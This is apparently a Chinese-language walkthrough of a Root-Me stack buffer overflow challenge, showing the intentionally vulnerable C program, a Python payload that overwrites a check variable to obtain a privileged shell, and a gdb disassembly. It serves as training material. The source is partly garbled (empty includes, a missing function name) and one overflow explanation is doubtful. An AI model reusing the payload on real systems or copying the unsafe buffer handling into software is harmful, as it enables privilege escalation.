LINK:https://www.root-me.org/en/Challenges/App-System/ELF32-Stack-buffer-overflow-basic-1
Reference:n3k0sec.top/2018/10/11/root-me-app-system/
SouceCode:
#include
#include
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
int main()
{
int var;
int check = 0x04030201;
char buf[40]; //定义缓冲区长度
(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way!\n");
if (check == 0xdeadbeef)
{
printf("Yeah dude! You win!\nOpening your shell...\n");
system("/bin/dash");
printf("Shell closed! Bye.\n");
}
return 0;
}
以上源代码中定义了内存分配给该程序输入的缓冲区大小为40,当我们的输入长度大于40时,就会导致缓冲区溢出,导致权限提升,执行root权限的shell。
首先运行程序输入长度为40的字符串,运行结果如下,程序提示思路正确。
app-systeme-ch13@challenge02:~$ ./ch13 0123456789012345678901234567890123456789 [buf]: 0123456789012345678901234567890123456789 [check] 0x403000a You are on the right way
重点讲一下:当测试输入长度为39个字符时,也可以导致溢出的发生。这是为什么呢?
因为此程序在我们输入一串字符串后需要点击回车换行(\r\n)才可以继续执行,输入字符串长度为39,再加上\r\n两个字符串,我们输入的长度变成了41,实际上一步输入的长度为42.
app-systeme-ch13@challenge02:~$ ./ch13 012345678901234567890123456789012345678 [buf]: 012345678901234567890123456789012345678 [check] 0x403000a You are on the right way!
C 库函数 - fgets()
描述
C 库函数 char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
声明
下面是 fgets() 函数的声明。
char *fgets(char *str, int n, FILE *stream)
参数
- str -- 这是指向一个字符数组的指针,该数组存储了要读取的字符串。
- n -- 这是要读取的最大字符数(包括最后的空字符)。通常是使用以 str 传递的数组长度。
- stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了要从中读取字符的流。
返回值
如果成功,该函数返回相同的 str 参数。如果到达文件末尾或者没有读取到任何字符,str 的内容保持不变,并返回一个空指针。
如果发生错误,返回一个空指针。
app-systeme-ch13@challenge02:~$ ./ch13 012345678901234567890123456789012345678912345 [buf]: 01234567890123456789012345678901234567891234 [check] 0x34333231
此题中使用fgets()函数来获取用户输入的最大(45-1)长度即44个字符长度的字符串,分析发现check的结果是这44个字符最后4位倒序排列后转换为16进制得到的
此时查看源代码会发现当check == 0xdeadbeef时会以root权限运行/bin/dash,解体法案如下:
方案 1:
使用python构造字符串输入:python -c "print 'a'*40+'DEADBEEF'.decode('hex')" 得到符合check结果为DEADBEEF的字符串
payload:(python -c 'print "a"*40+"DEADBEEF".decode("hex")[::-1]';cat) | ./ch13
不加;cat的话shell会直接退出,因为system(‘/bin/dash’)读到了stdin中的EOF,通过cat占用输入流即可.
方案 2:
app-systeme-ch13@challenge02:~$gdb -q ch13
(gdb) set disassembly-flavor intel //将汇编设定为intel风格;
(gdb) disassemble main //反汇编main函数;
Dump of assembler code for function main:
0x08048494 <+0>: push ebp
0x08048495 <+1>: mov ebp,esp
0x08048497 <+3>: and esp,0xfffffff0
0x0804849a <+6>: sub esp,0x40
0x0804849d <+9>: mov DWORD PTR [esp+0x3c],0x4030201
0x080484a5 <+17>: mov eax,ds:0x804a020
0x080484aa <+22>: mov DWORD PTR [esp+0x8],eax
0x080484ae <+26>: mov DWORD PTR [esp+0x4],0x2d
0x080484b6 <+34>: lea eax,[esp+0x14]
0x080484ba <+38>: mov DWORD PTR [esp],eax
0x080484bd <+41>: call 0x8048390
0x080484c2 <+46>: mov eax,0x8048620
0x080484c7 <+51>: lea edx,[esp+0x14]
0x080484cb <+55>: mov DWORD PTR [esp+0x4],edx
0x080484cf <+59>: mov DWORD PTR [esp],eax
0x080484d2 <+62>: call 0x8048380
0x080484d7 <+67>: mov eax,0x804862c
0x080484dc <+72>: mov edx,DWORD PTR [esp+0x3c]
0x080484e0 <+76>: mov DWORD PTR [esp+0x4],edx
0x080484e4 <+80>: mov DWORD PTR [esp],eax
0x080484e7 <+83>: call 0x8048380
0x080484ec <+88>: cmp DWORD PTR [esp+0x3c],0x4030201
0x080484f4 <+96>: je 0x804850c
0x080484f6 <+98>: cmp DWORD PTR [esp+0x3c],0xdeadbeef
0x080484fe <+106>: je 0x804850c
0x08048500 <+108>: mov DWORD PTR [esp],0x8048638
0x08048507 <+115>: call 0x80483a0
0x0804850c <+120>: cmp DWORD PTR [esp+0x3c],0xdeadbeef
0x08048514 <+128>: jne 0x804853a
---Type to continue, or q to quit---
0x08048516 <+130>: mov DWORD PTR [esp],0x8048654
0x0804851d <+137>: call 0x80483a0
0x08048522 <+142>: mov DWORD PTR [esp],0x804867e
0x08048529 <+149>: call 0x80483b0
0x0804852e <+154>: mov DWORD PTR [esp],0x8048688
0x08048535 <+161>: call 0x80483a0
0x0804853a <+166>: mov eax,0x0
0x0804853f <+171>: leave
0x08048540 <+172>: ret
End of assembler dump.